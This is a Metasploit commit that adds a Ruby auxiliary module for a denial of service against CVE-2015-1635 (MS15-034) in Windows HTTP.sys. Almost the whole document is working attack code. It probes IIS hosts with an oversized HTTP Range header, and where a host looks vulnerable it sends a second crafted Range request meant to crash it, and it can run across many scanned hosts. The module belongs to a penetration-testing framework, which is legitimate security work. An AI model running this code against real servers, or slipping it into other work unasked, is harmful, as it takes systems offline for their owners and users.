Land rapid7#5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys

* `check` to test, `run` to DoS

Author: jvazquez-r7

modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb

@@ -0,0 +1,112 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  # Watch out, dos all the things
+  include Msf::Auxiliary::Scanner
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
+      'Description'    => %q{
+        This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
+        vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
+        execution. This module will try to cause a denail-of-service.
+
+        Please note that you must supply a valid file resource for the TARGETURI option.
+        By default, IIS may come with these settings that you could try: iisstart.htm,
+        welcome.png, iis-85.png, etc.
+      },
+      'Author'         =>
+        [
+          # Bill did all the work (see the pastebin code), twitter: @hectorh56193716
+          'Bill Finlayson',
+          # MSF. But really, these people made it happen:
+          # https://github.com/rapid7/metasploit-framework/pull/5150
+          'sinn3r'
+        ],
+      'References'     =>
+        [
+          ['CVE', '2015-1635'],
+          ['MSB', 'MS15-034'],
+          ['URL', 'http://pastebin.com/ypURDPc4'],
+          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150']
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
+      ], self.class)
+
+    deregister_options('RHOST')
+  end
+
+  def run_host(ip)
+    if check_host(ip) == Exploit::CheckCode::Vulnerable
+      dos_host(ip)
+    else
+      print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
+    end
+  end
+
+  def dos_host(ip)
+    # In here we have to use Rex because if we dos it, it causes our module to hang too
+    uri = normalize_uri(target_uri.path)
+    begin
+      cli = Rex::Proto::Http::Client.new(ip)
+      cli.connect
+      req = cli.request_raw({
+        'uri' => uri,
+        'method' => 'GET',
+        'headers' => {
+          'Range' => 'bytes=18-18446744073709551615'
+        }
+      })
+      cli.send_request(req)
+    rescue ::Errno::EPIPE, ::Timeout::Error
+      # Same exceptions the HttpClient mixin catches
+    end
+    print_status("#{ip}:#{rport} - DOS request sent")
+  end
+
+  def check_host(ip)
+    uri = normalize_uri(target_uri.path)
+
+    res = send_request_raw({'uri'=>uri})
+
+    unless res
+      vprint_error("#{ip}:#{rport} - Connection timed out")
+      return Exploit::CheckCode::Unknown
+    end
+
+    if res.code == 404
+      vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
+      return Exploit::CheckCode::Unknown
+    end
+
+    res = send_request_raw({
+      'uri' => uri,
+      'method' => 'GET',
+      'headers' => {
+        'Range' => 'bytes=0-18446744073709551615'
+      }
+    })
+    if res && res.body.include?('Requested Range Not Satisfiable')
+      return Exploit::CheckCode::Vulnerable
+    elsif res && res.body.include?('The request has an invalid header name')
+      return Exploit::CheckCode::Safe
+    else
+      return Exploit::CheckCode::Unknown
+    end
+  end
+
+end